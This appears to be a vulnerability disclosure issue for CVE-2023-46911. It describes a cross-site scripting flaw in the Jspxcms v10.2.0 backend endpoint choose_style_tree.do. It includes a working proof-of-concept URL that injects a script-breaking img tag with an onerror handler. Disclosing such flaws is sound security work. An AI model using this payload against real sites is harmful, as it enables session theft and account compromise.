Headline
CVE-2023-46911: Jspxcms v10.2.0 后台存在xss漏洞 · Issue #I8AK2H · jspxcms/Jspxcms - Gitee.com
There is a Cross Site Scripting (XSS) vulnerability in the choose_style_tree.do interface of Jspxcms v10.2.0 backend.
访问http://localhost:8080/cmscp/core/web_file/choose_style_tree.do?d=1698139703231&id=1";</ScRiPt><ImG id=’oWDhSaEG’ src=1 onerror=’prompt(1)'><ScRiPt>"：